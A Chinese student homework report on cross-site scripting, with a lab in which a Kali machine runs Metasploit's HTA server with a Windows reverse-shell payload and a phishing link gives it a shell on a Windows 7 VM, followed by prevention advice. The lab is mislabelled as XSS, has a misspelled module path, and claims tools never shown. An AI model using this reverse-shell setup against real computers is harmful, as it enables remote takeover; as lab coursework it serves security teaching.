web渗透 作业 跨站脚本攻击 使用跨站脚本攻击客户端

目录

1 跨站脚本攻击（Cross-site Scripting，通常称为XSS）

2 实验

2.1 Linux kali 

2.2 Windows 7

3预防xss攻击

4 总结

---

1 跨站脚本攻击（Cross-site Scripting，通常称为XSS）

XSS（Cross-site scripting，跨站脚本攻击）是一种常见的网络安全漏洞。攻击者利用这种漏洞，在网站的输入框或URL参数等位置输入恶意脚本，当其他用户在访问这个网站时，这些恶意脚本就会在用户的浏览器中执行，从而达到攻击的目的。

XSS攻击可以分为反射型、存储型和DOM-based XSS攻击。其中反射型XSS攻击是攻击者将含有恶意脚本的链接发送给用户，用户点击后，恶意脚本就会在用户的浏览器中执行，从而达到攻击的目的。存储型XSS攻击是攻击者将含有恶意脚本的数据存储在服务器上，当其他用户访问这个网站时，这些恶意脚本就会在用户的浏览器中执行，从而达到攻击的目的。DOM-based XSS攻击则是攻击者在网站中利用DOM操作插入恶意脚本，当其他用户访问这个网站时，这些恶意脚本也会在用户的浏览器中执行，从而达到攻击的目的。

XSS攻击可能导致用户的敏感信息泄露，例如用户的Cookie、密码、银行卡信息等。攻击者可以通过窃取这些信息，达到非法获取财产或盗用身份的目的。XSS攻击也可以用于进行社会工程学攻击，例如攻击者可以在网站中插入假的登录页面欺骗用户输入用户名和密码，从而非法获取用户的账户信息。

对于网站所有者来说，XSS攻击可能导致客户数据泄露、信誉受损和合规问题，对业务造成灾难性的影响。因此，对于所有的网站所有者来说，防范XSS攻击都是至关重要的。网站所有者可以采取以下措施来防范XSS攻击：

1. 对用户输入的数据进行过滤和校验，过滤掉特殊字符和恶意脚本。

2. 对用户输入的数据进行编码，例如将特殊字符转换成HTML实体，避免恶意脚本在浏览器中执行。

3. 使用安全的编程语言和框架，避免代码注入风险。

4. 对网站进行安全测试，及时发现和修复XSS漏洞。

5. 对用户进行安全教育，增强用户的安全意识，不轻易点击来路不明的链接。

2 实验

本次实验使用到vm_1 漏洞系统和Windows7 系统的虚拟机。

2.1 Linux kali 

目的是要用xss使客户端的Windows 7 的浏览器打开并执行托管在kali上的恶意HTA文件。

首先打开kali 中的metasploit控制台在kali 命令符中输入
/ msfconsole

加载exploit模块和payload：

/ use exploit/Windows/mise/hta_server

/ set payload windows/shell/reverse_tcp 

设置server的监听口为8888 

/ set srvport 8888

在设置本地ip及本地监听端口为12345：

set lhost xxxx.xxxx.xxxx.xxxx

set lport 12345 

查看配置看看是否配置完成

show options

完成之后输入 run 启动之后会获得一个链接

2.2 Windows 7

打开准备好的Windows7 虚拟机

假设这是攻击者准备一封包含了下面链接的钓鱼电子邮件，在浏览器中打开它

如果你的伪装手段高的就可以让用户不被警告下载并执行恶意文件

可以看到Windows这边已经下载好了我们的恶意文件运行之后在Linux kali这把我们可以看到

有设备上钩了这里就可以控制对面设备的命令符了 

我们使用上钩的设备查看了他的ip地址信息 。

本次实验结束

3预防xss攻击

XSS攻击是一种常见的网络安全威胁，对网站和用户数据造成了巨大的风险和损失。为了预防这种攻击，采取一些有效的措施是非常必要的。

首先，输入过滤是预防XSS攻击的关键之一。用户输入数据必须进行过滤和验证，确保其符合特定的格式和规则。这可以通过正则表达式、框架或库等方式实现。

其次，输出过滤也是非常重要的。在输出数据时，对特殊字符进行过滤和转义，以避免恶意脚本的注入。常见的特殊字符包括<、>、&、"、'等。

禁用JavaScript是另一个有效的措施。在网站中，禁用用户输入中的JavaScript代码和链接，可以避免恶意脚本的注入。这可以通过设置Content-Security-Policy头来实现。

使用HTTPS协议也是预防XSS攻击的重要措施。HTTPS可以确保数据传输的安全性，避免数据被篡改或窃取。

设置HTTP头也是防范XSS攻击的方式之一。设置HTTP头中的X-XSS-Protection，可以防止一些现代浏览器中的XSS攻击。

控制Cookie也是很重要的。对cookie进行限制，避免敏感信息被盗取或篡改。对于一些敏感的cookie，可以设置HttpOnly和Secure属性。

限制输入长度和类型也是一种有效的措施。限制用户输入的长度和类型，可以避免一些攻击和注入。例如，可以限制输入框的长度，禁止上传非法文件等。

最后，对于一些来自第三方资源的数据，也需要进行过滤和验证。这可以避免引入恶意代码，确保网站的安全性和可靠性。

综上所述，通过以上措施，可以有效地预防XSS攻击，确保网站和用户数据的安全。

除了XSS（Cross-Site Scripting）之外，还有以下几种同类的攻击：

1. CSRF（Cross-Site Request Forgery）：该攻击利用用户在其他网站上的登录状态，在背后发起一个针对目标网站的请求，实现攻击。攻击者通常会在第三方网站中插入一个包含恶意请求的HTML页面，当用户在访问该页面的同时还在浏览器中保持着登录状态时，恶意请求会被自动发送到目标网站上，欺骗用户执行一些操作，如提交表单、发起支付等操作，而用户在未察觉到被攻击的情况下，完成了攻击者想要的操作，造成了损失。

2. Clickjacking（点击劫持）：该攻击会将一个非常透明的页面层覆盖在目标网站上，使用户实际点击了一个看似普通的按钮或链接，但是背后却在执行恶意操作，从而达到攻击的目的。攻击者通常会将透明层放置在目标网站登录界面或其他用户需要操作的界面上，当用户点击页面上的按钮或链接时，实际上是执行了透明层上的恶意操作，如发起转账、提交表单等。

3. CSS Injection（样式注入）：该攻击常见于Web应用程序的评论功能中，攻击者会在评论框中插入恶意的CSS样式，并成功将其提交给服务器，当其他用户在查看评论区时，会执行恶意注入的CSS样式，导致网站显示异常，如弹出广告、盗取用户信息等。

4. DOM-based XSS（基于DOM的XSS）：该攻击利用了Web应用程序的DOM编程模型中的漏洞，攻击者可以通过修改网页的DOM树来进行攻击，而不是像传统的XSS攻击那样修改HTML源代码。攻击者通常会在URL参数或者POST请求的请求体中插入恶意代码，当客户端浏览器的JS引擎执行这段代码时，会收集用户的关键信息，并发送给攻击者，造成严重的安全风险。

5. File Upload Vulnerabilities（文件上传漏洞）：该攻击利用Web应用程序对上传文件的处理不当而导致的安全漏洞。攻击者可以上传一个包含恶意代码的文档、图片或其他文件到服务器上，通过绕过服务器端的文件检测机制，在客户端或其他地方执行恶意代码，从而造成目标网站数据泄露、服务器受到攻击的危险。

6. SQL Injection（SQL注入）：该攻击利用Web应用程序中的SQL查询语句的漏洞来获取未授权的访问权限，攻击者通过构造恶意输入，欺骗服务器执行恶意SQL查询，修改数据库中的数据，或者直接篡改、删除数据库中的数据，从而达到攻击目的。该攻击的危害极大，可以让攻击者获得网站的管理员权限，进而控制整个系统。

在我们个人生活中也需要防范

以下是一些防范网络攻击的建议：

使用复杂密码并定期更改：密码应包含大小写字母、数字和特殊字符，并且不要使用容易猜到的信息，如生日、手机号等。同时，定期更改密码可以增加账户的安全性。

2.不要相信陌生人发来的链接和附件：如电子邮件、短信等。这些链接和附件可能包含恶意软件或诈骗链接，点击后会导致账户被盗或个人信息泄露。

3.更新操作系统、应用程序和安全软件：定期更新操作系统、应用程序以及安全软件可以及时修补已知漏洞，防止黑客趁机攻击。

4.使用防病毒软件：安装一款优秀的防病毒软件可以防止病毒、木马等恶意软件的攻击，同时也可以防范网络钓鱼。

5.使用安全浏览器：安全浏览器可以阻止恶意网站的访问，从而避免用户被钓鱼网站诱骗输入个人敏感信息。

6.使用VPN保护个人隐私：VPN可以加密用户的网络流量，保护用户的隐私数据不被黑客、网络服务提供商等窃取。同时，VPN可以突破网络封锁，保护用户的上网自由。

7.不要在公共场所随意连接公共Wi-Fi：公共Wi-Fi存在安全隐患，黑客可以通过公共Wi-Fi窃取用户的个人信息，因此不要随意连接公共Wi-Fi。

8.注意个人信息泄露：不要在社交媒体上随意公开个人信息，如住址、电话号码等。同时，注意保护个人账户信息，如银行卡号、密码等。

4 总结

在完成了XSS（跨站脚本攻击）实验后，我深刻了解到XSS漏洞带来的严重危害。攻击者可以通过注入恶意代码来获取用户的敏感信息、修改页面内容或模拟用户进行恶意操作。在实验中，我们学习了一些常见的XSS攻击类型，包括反射型XSS、存储型XSS和DOM型XSS，并掌握了一些攻击工具和技术，例如Burp Suite和XSStrike。

通过实验，我们还了解到了一些有效的防御XSS攻击的技术和方法。例如，对用户的输入进行过滤和验证、使用HTTPOnly和secure标志来保护Cookie，以及避免使用innerHTML等不安全的API。这些技术和方法可以有效地预防XSS漏洞的产生，并保护Web应用程序不被攻击。

总之，这个实验为我们提供了一些实用的工具和技术，以及防御XSS攻击的有效方法。通过学习和了解XSS漏洞，我们可以更好地保护Web应用程序，并提高我们的网络安全水平。